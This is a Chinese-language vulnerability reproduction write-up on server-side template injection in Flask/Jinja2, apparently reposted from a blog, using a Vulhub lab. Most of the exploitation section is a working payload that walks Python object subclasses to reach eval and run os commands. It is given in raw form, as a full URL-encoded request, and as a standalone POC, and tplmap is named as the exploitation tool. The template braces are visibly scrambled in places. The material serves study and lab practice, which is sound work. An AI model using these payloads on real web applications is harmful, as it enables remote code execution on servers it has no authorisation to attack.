Flask(Jinja2) 服务端模板注入漏洞

Flask(Jinja2) 服务端模板注入漏洞

  • 一、漏洞描述
  • 二、漏洞影响
  • 三、漏洞复现
    • 1、环境搭建
    • 2、漏洞复现
  • 四、漏洞POC
  • 五、参考链接
  • 六、利用工具

一、漏洞描述

模版引擎被 Web 应用程序广泛用于呈现动态数据。不安全的模版语法可以嵌入用户输入实现服务器端的模版注入,这是一个经常出现的严重漏洞。模版注入可以直接攻击 Web 服务器内部结构,并获取到远程代码执行权限(RCE)。

二、漏洞影响

三、漏洞复现

1、环境搭建

使用 Vulhub 在服务器上搭建:

cd /vulhub/flask/ssti
docker-compose up -d

访问127.0.0.1:8000,进入到主页面:
在这里插入图片描述

2、漏洞复现

第一步:判断是否存在漏洞:
Flask(Jinja2) 服务端模板注入漏洞_第1张图片
其存在 GET 方式的传参,通过传入?name={ {7*7}}测试:
在这里插入图片描述
返回49,说明存在 SSTI 漏洞存在。

第二步:漏洞利用
通过 eval() 函数并执行任意 Python 代码:

{
     % for c in [].__class__.__base__.__subclasses__() %}
{
     % if c.__name__ == 'catch_warnings' %}
  {
     % for b in c.__init__.__globals__.values() %}
  {
     % if b.__class__ == {
     }.__class__ %}
    {
     % if 'eval' in b.keys() %}
      {
     {
      b['eval']('__import__("os").popen("id").read()') }}
    {
     % endif %}
  {
     % endif %}
  {
     % endfor %}
{
     % endif %}
{
     % endfor %}

即访问:http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
得到回显:
在这里插入图片描述

四、漏洞POC

?id=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

五、参考链接

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

六、利用工具

tplmap
Flask(Jinja2) 服务端模板注入漏洞_第2张图片

你可能感兴趣的:(漏洞复现,Flask,Jinja2,SSTI,服务端模板注入漏洞,安全)